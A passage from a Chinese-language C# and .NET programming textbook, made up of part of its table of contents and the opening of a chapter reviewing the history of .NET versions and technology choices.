通过套接字使用读取器和写入器 25.7.4 使用套接字实现接收器 25.8 小结 第26章 Composition 26.1 概述 26.2 Composition库的体系结构 26.2.1 使用特性的Composition 26.2.2 基于约定的部件注册 26.3 定义协定 26.4 导出部件 26.4.1 创建部件 26.4.2 使用部件的部件 26.4.3 导出元数据 26.4.4 使用元数据进行惰性加载 26.5 导入部件 26.5.1 导入连接 26.5.2 部件的惰性加载 26.5.3 读取元数据 26.6 小结 第27章 XML和JSON 27.1 数据格式 27.1.1 XML 27.1.2 .NET支持的XML标准 27.1.3 在框架中使用XML 27.1.4 JSON 27.2 读写流格式的XML 27.2.1 使用XmlReader类读取XML 27.2.2 使用XmlWriter类 27.3 在.NET中使用DOM 27.3.1 使用XmlDocument类读取 27.3.2 遍历层次结构 27.3.3 使用XmlDocument插入节点 27.4 使用XPathNavigator类 27.4.1 XPathDocument类 27.4.2 XPathNavigator类 27.4.3 XPathNodeIterator类 27.4.4 使用XPath导航XML 27.4.5 使用XPath评估 27.4.6 用XPath修改XML 27.5 在XML中序列化对象 27.5.1 序列化简单对象 27.5.2 序列化一个对象树 27.5.3 没有特性的序列化 27.6 LINQ to XML 27.6.1 XDocument对象 27.6.2 XElement对象 27.6.3 XNamespace对象 27.6.4 XComment对象 27.6.5 XAttribute对象 27.6.6 使用LINQ查询XML文档 27.6.7 查询动态的XML文档 27.6.8 转换为对象 27.6.9 转换为XML 27.7 JSON 27.7.1 创建JSON 27.7.2 转换对象 27.7.3 序列化对象 27.8 小结 第28章 本地化 28.1 全球市场 28.2 System.Globalization名称空间 28.2.1 Unicode问题 28.2.2 区域性和区域 28.2.3 使用区域性 28.2.4 排序 28.3 资源 28.3.1 资源读取器和写入器 28.3.2 使用资源文件生成器 28.3.3 通过ResourceManager使用资源文件 28.3.4 System.Resources名称空间 28.4 使用WPF本地化 28.5 使用ASP.NET Core本地化 28.5.1 注册本地化服务 28.5.2 注入本地化服务 28.5.3 区域性提供程序 28.5.4 在ASP.NET Core中使用资源 28.6 本地化通用Windows平台 28.6.1 给UWP使用资源 28.6.2 使用多语言应用程序工具集进行本地化 28.7 创建自定义区域性 28.8 小结 第Ⅲ部分 Windows应用程序 第29章 核心XAML 29.1 XAML的作用 29.2 XAML概述 29.2.1 使用WPF把元素映射到类上 29.2.2 通过通用Windows应用程序把元素映射到类上 29.2.3 使用自定义.NET类 29.2.4 把属性用作特性 29.2.5 把属性用作元素 29.2.6 使用集合和XAML 29.3 依赖属性 29.3.1 创建依赖属性 29.3.2 值变更回调和事件 29.3.3 强制值回调和WPF 29.4 路由事件 29.4.1 用于Windows应用程序的路由事件 29.4.2 WPF的冒泡和隧道 29.4.3 用WPF实现自定义路由事件 29.5 附加属性 29.6 标记扩展 29.6.1 创建自定义标记扩展 29.6.2 XAML定义的标记扩展 29.7 小结 第30章 样式化XAML应用程序 30.1 样式设置 30.2 形状 30.3 几何图形 30.3.1 使用段的几何图形 30.3.2 使用PML的几何图形 30.3.3 合并的几何图形(WPF) 30.4 变换 30.4.1 缩放 30.4.2 平移 30.4.3 旋转 30.4.4 倾斜 30.4.5 组合变换和复合变换 30.4.6 使用矩阵的变换 30.4.7 变换布局 30.5 画笔 30.5.1 SolidColorBrush 30.5.2 LinearGradientBrush 30.5.3 ImageBrush 30.5.4 WebViewBrush 30.5.5 只用于WPF的画笔 30.6 样式和资源 30.6.1 样式 30.6.2 资源 30.6.3 从代码中访问资源 30.6.4 动态资源(WPF) 30.6.5 资源字典 30.6.6 主题资源(UWP) 30.7 模板 30.7.1 控件模板 30.7.2 数据模板 30.7.3 样式化ListView 30.7.4 ListView项的数据模板 30.7.5 项容器的样式 30.7.6 项面板 30.7.7 列表视图的控件模板 30.8 动画 30.8.1 时间轴 30.8.2 缓动函数 30.8.3 关键帧动画 30.8.4 过渡(UWP应用程序) 30.9 可视化状态管理器 30.9.1 用控件模板预定义状态 30.9.2 定义自定义状态 30.9.3 设置自定义的状态 30.10 小结 第31章 模式和XAML应用程序 31.1 使用MVVM的原因 31.2 定义MVVM模式 31.3 共享代码 31.3.1 使用API协定和通用Windows平台 31.3.2 使用共享项目 31.3.3 使用移动库 31.4 示例解决方案 31.5 模型 31.5.1 实现变更通知 31.5.2 使用Repository模式 31.6 视图模型 31.6.1 命令 31.6.2 服务和依赖注入 31.7 视图 31.7.1 注入视图模型 31.7.2 用于WPF的数据绑定 31.7.3 用于UWP的已编译数据绑定 31.8 使用事件传递消息 31.9 IoC容器 31.10 使用框架 31.11 小结 第32章 Windows应用程序:用户界面 32.1 概述 32.2 导航 32.2.1 导航回最初的页面 32.2.2 重写Page类的导航 32.2.3 在页面之间导航 32.2.4 后退按钮 32.2.5 Hub 32.2.6 Pivot 32.2.7 应用程序shell 32.2.8 汉堡按钮 32.2.9 分隔视图 32.2.10 给SplitView窗格添加内容 32.3 布局 32.3.1 VariableSizedWrapGrid 32.3.2 RelativePanel 32.3.3 自适应触发器 32.3.4 XAML视图 32.3.5 延迟加载 32.4 命令 32.5 已编译的数据绑定 32.5.1 已编译绑定的生命周期 32.5.2 给已编译的数据模板使用资源 32.6 控件 32.6.1 TextBox控件 32.6.2 AutoSuggest 32.6.3 Inking 32.6.4 读写笔触的选择器 32.7 小结 第33章 高级Windows应用程序 33.1 概述 33.2 应用程序的生命周期 33.3 应用程序的执行状态 33.4 导航状态 33.4.1 暂停应用程序 33.4.2 激活暂停的应用程序 33.4.3 测试暂停 33.4.4 页面状态 33.5 共享数据 33.5.1 共享源 33.5.2 共享目标 33.6 应用程序服务 33.6.1 创建模型 33.6.2 为应用程序服务连接创建后台任务 33.6.3 注册应用程序服务 33.6.4 调用应用程序服务 33.7 相机 33.8 Geolocation和MapControl 33.8.1 使用MapControl 33.8.2 使用Geolocator定位信息 33.8.3 街景地图 33.8.4 继续请求位置信息 33.9 传感器 33.9.1 光线 33.9.2 罗盘 33.9.3 加速计 33.9.4 倾斜计 33.9.5 陀螺仪 33.9.6 方向 33.9.7 Rolling Marble示例 33.10 小结 第34章 带WPF的Windows桌面应用程序 34.1 概述 34.2 控件 34.2.1 简单控件 34.2.2 内容控件 34.2.3 带标题的内容控件 34.2.4 项控件 34.2.5 带标题的项控件 34.2.6 修饰 34.3 布局 34.3.1 StackPanel 34.3.2 WrapPanel 34.3.3 Canvas 34.3.4 DockPanel 34.3.5 Grid 34.4 触发器 34.4.1 属性触发器 34.4.2 多触发器 34.4.3 数据触发器 34.5 菜单和功能区控件 34.5.1 菜单控件 34.5.2 功能区控件 34.6 Commanding 34.6.1 定义命令 34.6.2 定义命令源 34.6.3 命令绑定 34.7 数据绑定 34.7.1 BooksDemo应用程序内容 34.7.2 用XAML绑定 34.7.3 简单对象的绑定 34.7.4 更改通知 34.7.5 对象数据提供程序 34.7.6 列表绑定 34.7.7 主从绑定 34.7.8 多绑定 34.7.9 优先绑定 34.7.10 值的转换 34.7.11 动态添加列表项 34.7.12 动态添加选项卡中的项 34.7.13 数据模板选择器 34.7.14 绑定到XML上 34.7.15 绑定的验证和错误处理 34.8 TreeView 34.9 DataGrid 34.9.1 自定义列 34.9.2 行的细节 34.9.3 用DataGrid进行分组 34.9.4 实时成型 34.10 小结 第35章 用WPF创建文档 35.1 简介 35.2 文本元素 35.2.1 字体 35.2.2 TextEffect 35.2.3 内联 35.2.4 块 35.2.5 列表 35.2.6 表 35.2.7 块的锚定 35.3 流文档 35.4 固定文档 35.5 XPS文档 35.6 打印 35.6.1 用PrintDialog打印 35.6.2 打印可见元素 35.7 小结 第36章 部署Windows应用程序 36.1 部署是应用程序生命周期的一部分 36.2 部署的规划 36.2.1 部署选项 36.2.2 部署要求 36.2.3 部署.NET运行库 36.3 传统的部署选项 36.3.1 xcopy部署 36.3.2 Windows Installer 36.4 ClickOnce 36.4.1 ClickOnce操作 36.4.2 发布ClickOnce应用程序 36.4.3 ClickOnce设置 36.4.4 ClickOnce文件的应用程序缓存 36.4.5 应用程序的安装 36.4.6 ClickOnce部署API 36.5 UWP应用程序 36.5.1 创建应用程序包 36.5.2 Windows App Certification Kit 36.5.3 旁加载 36.6 小结 第Ⅳ部分 Web应用程序和服务 第37章 ADO.NET 37.1 ADO.NET概述 37.1.1 示例数据库 37.1.2 NuGet包和名称空间 37.2 使用数据库连接 37.2.1 管理连接字符串 37.2.2 连接池 37.2.3 连接信息 37.3 命令 37.3.1 ExecuteNonQuery()方法 37.3.2 ExecuteScalar()方法 37.3.3 ExecuteReader()方法 37.3.4 调用存储过程 37.4 异步数据访问 37.5 事务 37.6 小结 第38章 Entity Framework Core 38.1 Entity Framework简史 38.2 Entity Framework简介 38.2.1 创建模型 38.2.2 创建上下文 38.2.3 写入数据库 38.2.4 读取数据库 38.2.5 更新记录 38.2.6 删除记录 38.3 使用依赖注入 38.4 创建模型 38.4.1 创建关系 38.4.2 用.NET CLI迁移 38.4.3 用MSBuild迁移 38.4.4 创建数据库 38.4.5 数据注释 38.4.6 流利API 38.4.7 在数据库中搭建模型 38.5 使用对象状态 38.5.1 用关系添加对象 38.5.2 对象的跟踪 38.5.3 更新对象 38.5.4 更新未跟踪的对象 38.6 冲突的处理 38.6.1 最后一个更改获胜 38.6.2 第一个更改获胜 38.7 使用事务 38.7.1 使用隐式的事务 38.7.2 创建显式的事务 38.8 小结 第39章 Windows服务 39.1 Windows服务 39.2 Windows服务的体系结构 39.2.1 服务程序 39.2.2 服务控制程序 39.2.3 服务配置程序 39.2.4 Windows服务的类 39.3 创建Windows服务程序 39.3.1 创建服务的核心功能 39.3.2 QuoteClient示例 39.3.3 Windows服务程序 39.3.4 线程化和服务 39.3.5 服务的安装 39.3.6 安装程序 39.4 Windows服务的监控和控制 39.4.1 MMC管理单元 39.4.2 net.exe实用程序 39.4.3 sc.exe实用程序 39.4.4 Visual Studio Server Explorer 39.4.5 编写自定义ServiceController类 39.5 故障排除和事件日志 39.6 小结 第40章 ASP.NET Core 40.1 ASP.NET Core 1.0 40.2 Web技术 40.2.1 HTML 40.2.2 CSS 40.2.3 JavaScript和TypeScript 40.2.4 脚本库 40.3 ASP.NET Web项目 40.4 启动 40.5 添加静态内容 40.5.1 使用JavaScript包管理器:npm 40.5.2 用gulp构建 40.5.3 通过Bower使用客户端库 40.6 请求和响应 40.6.1 请求标题 40.6.2 查询字符串 40.6.3 编码 40.6.4 表单数据 40.6.5 cookie 40.6.6 发送JSON 40.7 依赖注入 40.7.1 定义服务 40.7.2 注册服务 40.7.3 注入服务 40.7.4 调用控制器 40.8 使用映射的路由 40.9 使用中间件 40.10 会话状态 40.11 配置ASP.NET 40.11.1 读取配置 40.11.2 基于环境的不同配置 40.11.3 用户密钥 40.12 小结 第41章 ASP.NET MVC 41.1 为ASP.NET MVC 6建立服务 41.2 定义路由 41.2.1 添加路由 41.2.2 使用路由约束 41.3 创建控制器 41.3.1 理解动作方法 41.3.2 使用参数 41.3.3 返回数据 41.3.4 使用Controller基类和POCO控制器 41.4 创建视图 41.4.1 向视图传递数据 41.4.2 Razor语法 41.4.3 创建强类型视图 41.4.4 定义布局 41.4.5 用部分视图定义内容 41.4.6 使用视图组件 41.4.7 在视图中使用依赖注入 41.4.8 为多个视图导入名称空间 41.5 从客户端提交数据 41.5.1 模型绑定器 41.5.2 注解和验证 41.6 使用HTML Helper 41.6.1 简单的Helper 41.6.2 使用模型数据 41.6.3 定义HTML特性 41.6.4 创建列表 41.6.5 强类型化的Helper 41.6.6 编辑器扩展 41.6.7 实现模板 41.7 标记辅助程序 41.7.1 激活标记辅助程序 41.7.2 使用锚定标记辅助程序 41.7.3 使用标签标记辅助程序 41.7.4 使用输入标记辅助程序 41.7.5 使用表单进行验证 41.7.6 创建自定义标记辅助程序 41.8 实现动作过滤器 41.9 创建数据驱动的应用程序 41.9.1 定义模型 41.9.2 创建数据库 41.9.3 创建服务 41.9.4 创建控制器 41.9.5 创建视图 41.10 实现身份验证和授权 41.10.1 存储和检索用户信息 41.10.2 启动身份系统 41.10.3 执行用户注册 41.10.4 设置用户登录 41.10.5 验证用户的身份 41.11 小结 第42章 ASP.NET Web API 42.1 概述 42.2 创建服务 42.2.1 定义模型 42.2.2 创建存储库 42.2.3 创建控制器 42.2.4 修改响应格式 42.2.5 REST结果和状态码 42.3 创建异步服务 42.4 创建.NET客户端 42.4.1 发送GET请求 42.4.2 从服务中接收XML 42.4.3 发送POST请求 42.4.4 发送PUT请求 42.4.5 发送DELETE请求 42.5 写入数据库 42.5.1 定义数据库 42.5.2 创建存储库 42.6 创建元数据 42.7 创建和使用OData服务 42.7.1 创建数据模型 42.7.2 创建服务 42.7.3 OData查询 42.8 小结 第43章 WebHooks和SignaIR 43.1 概述 43.2 SignalR的体系结构 43.3 使用SignalR的简单聊天程序 43.3.1 创建集线器 43.3.2 用HTML和JavaScript创建客户端 43.3.3 创建SignalR .NET客户端 43.4 分组连接 43.4.1 用分组扩展集线器 43.4.2 用分组扩展WPF客户端 43.5 WebHooks的体系结构 43.6 创建Dropbox和GitHub接收器 43.6.1 创建Web应用程序 43.6.2 为Dropbox和GitHub配置WebHooks 43.6.3 实现处理程序 43.6.4 用Dropbox和GitHub配置应用程序 43.6.5 运行应用程序 43.7 小结 第44章 WCF 44.1 WCF概述 44.1.1 SOAP 44.1.2 WSDL 44.2 创建简单的服务和客户端 44.2.1 定义服务和数据协定 44.2.2 数据访问 44.2.3 服务的实现 44.2.4 WCF服务宿主和WCF测试客户端 44.2.5 自定义服务宿主 44.2.6 WCF客户端 44.2.7 诊断 44.2.8 与客户端共享协定程序集 44.3 协定 44.3.1 数据协定 44.3.2 版本问题 44.3.3 服务协定和操作协定 44.3.4 消息协定 44.3.5 错误协定 44.4 服务的行为 44.5 绑定 44.5.1 标准绑定 44.5.2 标准绑定的功能 44.5.3 WebSocket 44.6 宿主 44.6.1 自定义宿主 44.6.2 WAS宿主 44.6.3 预配置的宿主类 44.7 客户端 44.7.1 使用元数据 44.7.2 共享类型 44.8 双工通信 44.8.1 双工通信的协定 44.8.2 用于双工通信的服务 44.8.3 用于双工通信的客户应用程序 44.9 路由 44.9.1 路由示例应用程序 44.9.2 路由接口 44.9.3 WCF路由服务 44.9.4 为故障切换使用路由器 44.9.5 改变协定的桥梁 44.9.6 过滤器的类型 44.10 小结 第45章 部署网站和服务 45.1 部署Web应用程序 45.2 部署前的准备 45.2.1 创建ASP.NET 4.6 Web应用程序 45.2.2 创建ASP.NET Core 1.0 Web应用程序 45.2.3 ASP.NET 4.6的配置文件 45.2.4 ASP.NET Core 1.0的配置文件 45.3 部署到IIS 45.3.1 使用IIS Manager准备Web应用程序 45.3.2 Web部署到IIS 45.4 部署到Microsoft Azure 45.4.1 创建SQL数据库 45.4.2 用SQL Azure测试本地网站 45.4.3 部署到Microsoft Azure Web应用 45.5 部署到Docker 45.6 小结 第Ⅰ部分 C#语言  第1章 .NET应用程序体系结构  第2章 核心C#  第3章 对象和类型  第4章 继承  第5章 托管和非托管的资源  第6章 泛型  第7章 数组和元组  第8章 运算符和类型强制转换  第9章 委托、lambda表达式和事件  第10章 字符串和正则表达式  第11章 集合  第12章 特殊的集合  第13章 LINQ  第14章 错误和异常  第15章 异步编程  第16章 反射、元数据和动态编程 第1章 .NET应用程序体系结构 本章要点 ● 回顾.NET的历史 ● 理解.NET Framework 4.6和.NET Core 1.0之间的差异 ● 程序集和NuGet包 ● 公共语言运行库 ● Windows运行库的特性 ● 编写“Hello, World!”程序 ● 通用Windows平台 ● 创建Windows应用程序的技术 ● 创建Web应用程序的技术 本章源代码下载: 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● DotnetHelloWorld ● HelloWorldApp (.NET Core) 1.1 选择技术 近年来,.NET已经成为在Windows平台上创建任意类型的应用程序的巨大生态系 统。有了.NET,可以创建Windows应用程序、Web服务、Web应用程序以及用于Microsoft Phone的应用程序。 .NET的最新版本对上一版进行了很大的修改——也许是.NET自问世以来最大的修 改。.NET的大部分代码已开放,还可以为其他平台创建应用程序。.NET的新版本(.NET Core)和NuGet包允许微软公司以更短的更新周期提供新特性。应该使用什么技术来创建 应用程序并不容易决定。本章将提供这方面的帮助。其中包含用于创建Windows、Web应 用程序和服务的不同技术的信息,指导选择什么技术进行数据库访问,凸显了.NET 和.NET Core之间的差异。 1.2 回顾.NET历史 要更好地理解.NET和C#的可用功能,最好先了解它的历史。表1-1显示了.NET的版 本、对应的公共语言运行库(Common Language Runtime, CLR)的版本、C#的版本和 Visual Studio的版本,并指出相应版本的发布年份。除了知道使用什么技术之外,最好也 知道不推荐使用什么技术,因为这些技术会被代替。 表1-1 .NET CLR C# Visual Studio 1.0 1.0 1.0 2002 1.1 1.1 1.2 2003 2.0 2.0 2.0 2005 3.0 2.0 2.0 2005+扩展版 3.5 2.0 3.0 2008 4.0 4.0 4.0 2010 4.5 4.0 5.0 2012 4.5.1 4.0 5.0 2013 4.6 4.0 6 2015 .NET Core 1.0 CoreCLR 6 2015 +扩展版 下面各小节详细介绍表1-1,以及C#和.NET的发展。 1.2.1 C#1.0——一种新语言 C# 1.0是一种全新的编程语言,用于.NET Framework。开发它时,.NET Framework由 大约3000个类和CLR组成。 (创建Java的Sun公司申请)法庭判决不允许微软公司更改Java代码后,Anders Hejlsberg设计了C#。Hejlsberg为微软公司工作之前,在Borland公司设计了Delphi编程语言 (一种Object Pascal语言)。Hejlsberg在微软公司负责J++(Java编程语言的微软版本)。 鉴于Hejlsberg的背景,C#编程语言主要受到C++、Java和Pascal的影响。 因为C#的创建晚于Java和C++,所以微软公司分析了其他语言中典型的编程错误,完 成了一些不同的工作来避免这些错误。这些不同的工作包括: ● 在if语句中,布尔(Boolean)表达式是必须的(C++也允许在这里使用整数值)。 ● 允许使用struct和class关键字创建值类型和引用类型(Java只允许创建自定义引用类 型;在C++中,struct和class之间的区别只是访问修饰符的默认值不同)。 ● 允许使用虚拟方法和非虚拟方法(这类似于C++, Java总是创建虚拟方法)。 当然,阅读本书,你会看到更多的变化。 现在,C#是一种纯粹的面向对象编程语言,具备继承、封装和多态性等特性。C#也 提供了基于组件的编程改进,如委托和事件。 在.NET和CLR推出之前,每种编程语言都有自己的运行库。在C++中,C++运行库与 每个C++程序链接起来。Visual Basic 6有自己的运行库VBRun。Java的运行库是Java虚拟 机(Java Virtual Machine, JVC)——可以与CLR相媲美。CLR是每种.NET编程语言都使用 的运行库。推出CLR时,微软公司提供了JScript .NET、Visual Basic .NET、Managed C++和C#。JScript .NET是微软公司的JavaScript编译器,与CLR和.NET类一起使用。 Visual Basic .NET是提供.NET支持的Visual Basic。现在再次简称为Visual Basic。Managed C++是混合了本地C++代码与Managed .NET代码的语言。今天与.NET一起使用的新C++语 言是C++/ CLR。 .NET编程语言的编译器生成中间语言(Intermediate Language, IL)代码。IL代码看起 来像面向对象的机器码,使用工具ildasm.exe可以打开包含.NET代码的DLL或EXE文件来 检查IL代码。CLR包含一个即时(Just-In-Time, JIT)编译器,当程序开始运行时,JIT编 译器会从IL代码生成本地代码。  注意: IL代码也称为托管代码。 CLR的其他部分是垃圾回收器(GC)、调试器扩展和线程实用工具。垃圾回收器负 责清理不再引用的托管内存,这个安全机制使用代码访问安全性来验证允许代码做什么; 调试器扩展允许在不同的编程语言之间启动调试会话(例如,在Visual Basic中启动调试 会话,在C#库内继续调试);线程实用工具负责在底层平台上创建线程。 .NET Framework的第1版已经很大了。类在名称空间内组织,以便于导航可用的3000 个类。名称空间用来组织类,允许在不同的名称空间中有相同的类名,以解决冲 突。.NET Framework的第1版允许使用Windows Forms(名称空间 System.Windows.Forms)创建Windows桌面应用程序,使用ASP.NET Web Forms (System.Web)创建Web应用程序,使用ASP.NET Web Services与应用程序和Web服务通 信,使用.NET Remoting在.NET应用程序之间更迅速地通信,使用Enterprise Services创建 运行在应用程序服务器上的COM +组件。 ASP.NET Web Forms是创建Web应用程序的技术,其目标是开发人员不需要了解 HTML和JavaScript。服务器端控件会创建HTML和JavaScript,这些控件的工作方式类似于 Windows Forms本身。 C# 1.2和.NET 1.1主要是错误修复版本,改进较小。  注意: 继承在第4章中讨论,委托和事件在第9章中讨论。  注意: .NET的每个新版本都有Professional C#图书的新版本。对于.NET 1.0,这本书已经是第2版了,因为第1版是以.NET 1.0的Beta 2为基础出版的。目前,本 书是第10版。 1.2.2 带有泛型的C# 2和.NET 2 C# 2和.NET 2是一个巨大的更新。在这个版本中,改变了C#编程语言,建立了IL代 码,所以需要新的CLR来支持IL代码的增加。一个大的变化是泛型。泛型允许创建类型, 而不需要知道使用什么内部类型。所使用的内部类型在实例化(即创建实例)时定义。 C#编程语言中的这个改进也导致了Framework中多了许多新类型,例如 System.Collections.Generic名称空间中新的泛型集合类。有了这个类,1.0版本定义的旧集 合类就很少用在新应用程序中了。当然,旧类现在仍然在工作,甚至在新的.NET Core版 本中也是如此。  注意: 本书一直在使用泛型,详见第6章。第11章介绍了泛型集合类。 1.2.3 .NET 3.0 ——Windows Presentation Foundation 发布.NET 3.0时,不需要新版本的C#。3.0版本只提供了新的库,但它发布了大量新 的类型和名称空间。Windows Presentation Foundation(WPF)可能是新框架最大的一部 分,用于创建Windows桌面应用程序。Windows Forms包括本地Windows控件,且基于像 素;而WPF基于DirectX,独立绘制每个控件。WPF中的矢量图形允许无缝地调整任何窗 体的大小。WPF中的模板还允许完全自定义外观。例如,用于苏黎世机场的应用程序可 以包含看起来像一架飞机的按钮。因此,应用程序的外观可以与之前开发的传统Windows 应用程序非常不同。System.Windows名称空间下的所有内容都属于WPF,但 System.Windows.Forms除外。有了WPF,用户界面可以使用XML语法设计XAML(XML for Applications Markup Language)。 .NET 3.0推出之前,ASP.NET Web Services和.NET Remoting用于应用程序之间的通 信。Message Queuing是用于通信的另一个选择。各种技术有不同的优点和缺点,它们都 用不同的API进行编程。典型的企业应用程序必须使用一个以上的通信API,因此必须学 习其中的几项技术。WCF(Windows Communication Foundation)解决了这个问题。WCF 把其他API的所有选项结合到一个API中。然而,为了支持WCF提供的所有功能,需要配 置WCF。 .NET 3.0版本的第三大部分是Windows WF(Workflow Foundation)和名称空间 System.Workflow。微软公司不是为几个不同的应用程序创建自定义的工作流引擎(微软 公司本身为不同的产品创建了几个工作流引擎),而是把工作流引擎用作.NET的一部 分。 有了.NET 3.0, Framework的类从.NET 2.0的8 000个增加到约12 000个。  注意: 在本书中,WPF参见第29、30、31、34、35和36章。WCF详见第44 章。 1.2.4 C# 3和.NET 3.5——LINQ .NET 3.5和新版本C# 3一起发布。主要改进是使用C#定义的查询语法,它允许使用相 同的语法来过滤和排序对象列表、XML文件和数据库。语言增强不需要对IL代码进行任 何改变,因为这里使用的C#特性只是语法糖。所有的增强也可以用旧的语法实现,只是 需要编写更多的代码。C#语言很容易进行这些查询。有了LINQ和lambda表达式,就可以 使用相同的查询语法来访问对象集合、数据库和XML文件。 为了访问数据库并创建LINQ查询,LINQ to SQL发布为.NET 3.5的一部分。在.NET 3.5的第一个更新中,发布了Entity Framework的第一个版本。LINQ to SQL和Entity Framework都提供了从层次结构到数据库关系的映射和LINQ提供程序。Entity Framework 更强大,但LINQ to SQL更简单。随着时间的推移,LINQ to SQL的特性在Entity Framework中实现了,并且Entity Framework会一直保留这些特性(现在它看起来与第一个 版本非常不同)。 另一种引入为.NET 3.5一部分的技术是System.AddIn名称空间,它提供了插件模型。 这个模型提供了甚至在过程外部运行插件的强大功能,但它使用起来也很复杂。  注意: LINQ详见第13章,Entity Framework的最新版本与.NET 3.5版本有很 大差别,参见第38章。 1.2.5 C# 4和.NET 4.0——dynamic和TPL C# 4的主题是动态集成脚本语言,使其更容易使用COM集成。C#语法扩展为使用 dynamic关键字、命名参数和可选参数,以及用泛型增强的协变和逆变。 其他改进在.NET Framework中进行。有了多核CPU,并行编程就变得越来越重要。任 务并行库(Task Parallel Library, TPL)使用Task类和Parallel类抽象出线程,更容易创建并 行运行的代码。 因为用.NET 3.0创建的工作流引擎没有履行自己的诺言,所以全新的Windows Workflow Foundation成为.NET 4.0的一部分。为了避免与旧工作流引擎冲突,新的工作流 引擎是在System.Activity名称空间中定义的。 C# 4的增强还需要一个新版本的运行库。运行库从版本2跳到版本4。 发布Visual Studio 2010时,附带了一项创建Web应用程序的新技术:ASP.NET MVC 2.0。与ASP.NET Web Forms不同,这项技术需要编写HTML和JavaScript,并使用C# 和.NET的服务器端功能。ASP.NET MVC是定期更新的。  注意: C# 4的dynamic关键字参见第16章。任务并行库参见第21章。 ASP.NET 5和ASP.NET MVC 6参见第40和41章。 1.2.6 C# 5和异步编程 C# 5只有两个新的关键字:async和await。然而,它大大简化了异步方法的编程。在 Windows 8中,触摸变得更加重要,不阻塞UI线程也变得更加重要。用户使用鼠标,习惯 于花些时间滚动屏幕。然而,在触摸界面上使用手势时,反应不及时很不好。 Windows 8还为Windows Store应用程序(也称为Modern应用程序、Metro应用程序、 通用Windows应用程序,最近称为Windows应用程序)引入了一个新的编程接口: Windows运行库。这是一个本地运行库,看起来像是使用语言投射的.NET。许多WPF控 件都为新的运行库重写了,.NET Framework的一个子集可以使用这样的应用程序。 System.AddIn框架过于复杂、缓慢,所以用.NET 4.5创建了一个新的合成框架: Managed Extensibility Framework和名称空间System.Composition。 独立于平台的通信的新版本是由ASP.NET Web API提供的。WCF提供有状态和无状 态的服务,以及许多不同的网络协议,而ASP.NET Web API则简单得多,它是基于 Representational State Transfer(REST)软件架构风格的。  注意: C# 5的async和await关键字在第15章中详细讨论。其中也介绍.NET在 不同时期使用的不同异步模式。 MEF参见第26章。Windows应用程序参见第29~33章,ASP.NET Web API参见第 42章。 1.2.7 C# 6和.NET Core C# 6没有由泛型、LINQ和异步带来的巨大改进,但有许多小而实用的语言增强,可 以在几个地方减少代码的长度。很多改进都通过新的编译器引擎Roslyn来实现。  注意: Roslyn参见第18章。 完整的.NET Framework并不是近年来使用的唯一.NET Framework。有些场景需要较 小的框架。2007年,发布了Microsoft Silverlight的第一个版本(代码名为WPF/E,即WPF Everywhere)。Silverlight是一个Web浏览器插件,支持动态内容。Silverlight的第一个版 本只支持通过JavaScript编程。第2个版本包含.NET Framework的子集。当然,不需要服务 器端库,因为Silverlight总是在客户端运行,但附带Silverlight的框架Framework也删除了 核心特性中的类和方法,使其更简洁,便于移植到其他平台。用于桌面的Silverlight最新 版本(第5版)在2011年12月发布。Silverlight也用于Windows Phone的编程。Silverlight 8.1进入Windows Phone 8.1,但这个版本的Silverlight也不同于桌面版本。 在Windows桌面上,有如此巨大的.NET框架,需要更快的开发节奏,也需要较大的 改进。在DevOps中,开发人员和操作员一起工作,甚至是同一个人不断地给用户提供应 用程序和新特性,需要使新特性快速可用。由于框架巨大,且有许多依赖关系,创建新的 特性或修复缺陷是一项不容易完成的任务。 有了几个较小的.NET Framework(如Silverlight、用于Windows Phone的 Silverlight),在.NET的桌面版本和较小版本之间共享代码就很重要。在不同.NET版本之 间共享代码的一项技术是可移植库。随着时间的推移,有了许多不同的.NET Framework 和版本,可移植库的管理已成为一场噩梦。 为了解决所有这些问题,需要.NET的新版本(是的,的确需要解决这些问题)。 Framework的新版本命名为.NET Core。.NET Core较小,带有模块化的NuGet包以及分布 给每个应用程序的运行库是开源的,不仅可用于Windows的桌面版,也可用于许多不同的 Windows设备,以及Linux和OS X。 为了创建Web应用程序,完全重写了ASP.NET Core 1.0。这个版本不完全向后兼容老 版本,需要对现有的ASP.NET MVC(和ASP.NET MVC 6)代码进行一些修改。然而,与 旧版本相比,它也有很多优点,例如每一个网络请求的开销较低,性能更好,也可以在 Linux上运行。ASP.NET Web Forms不包含在这个版本中,因为ASP.NET Web Forms不是 专为最佳性能而设计的,它基于Windows Forms应用程序开发人员熟悉的模式来提高开发 人员的友好性。 当然,并不是所有的应用程序都很容易改为使用.NET Core。所以这个巨大的框架也 会进行改进——即使这些改进的完成速度没有.NET Core那么快,也是要改进的。.NET Framework完整的新版本是4.6。ASP.NET Web Forms的小更新包在完整的.NET上可用。  注意: Roslyn参见第18章。C#语言的变化参见第I部分中所有的语言章节, 例如,只读属性参见第3章,nameof运算符和空值传播参见第8章,字符串插值参见第 10章,异常过滤器参见第14章。本书尽可能使用.NET Core。.NET Core和NuGet包的更 多信息参见本章后面的内容。 1.2.8 选择技术,继续前进 知道框架内技术相互竞争的原因后,就更容易选择用于编写应用程序的技术。例如, 如果创建新的Windows应用程序,使用Windows Forms就不好。而应该使用基于XAML的 技术,例如Windows应用程序,或者使用WPF的Windows桌面应用程序。 如果创建Web应用程序,肯定应使用ASP.NET Core与ASP.NET MVC 6。做这个选择 时要排除ASP.NET Web Forms。如果访问数据库,就应该使用Entity Framework而不是 LINQ to SQL,应该选择Managed Extensibility Framework而不是System.AddIn。 旧应用程序仍在使用Windows Forms、ASP.NET Web Forms和其他一些旧技术。只为 改变现有的应用程序而使用新技术是没有意义的。进行修改必须有巨大的优势,例如,维 护代码已经是一个噩梦,需要大量的重构以缩短客户要求的发布周期,或者使用一项新技 术可以减少更新包的编码时间。根据旧有应用程序的类型,使用新技术可能不值得。可以 允许应用程序仍使用旧技术,因为在未来的许多年仍将支持Windows Forms和ASP.NET Web Forms。 本书的内容以新技术为基础,展示创建新应用程序的最佳技术。如果仍然需要维护旧 应用程序,可以参考本书的老版本,其中介绍了ASP.NET Web Forms、Windows Forms、 System.AddIn和其他仍然在.NET Framework中可用的旧技术。 1.3 .NET 2015 .NET 2015是所有.NET技术的总称。图1-1给出了这些技术的总图。左边代表.NET Framework 4.6技术,如WPF和ASP.NET 4。ASP.NET Core 1.0也可以在.NET Framework 4.6上运行。右边代表新的.NET Core技术。ASP.NET Core 1.0和UWP运行在.NET Core上。 还可以创建在.NET Core上运行的控制台应用程序。 图1-1 .NET 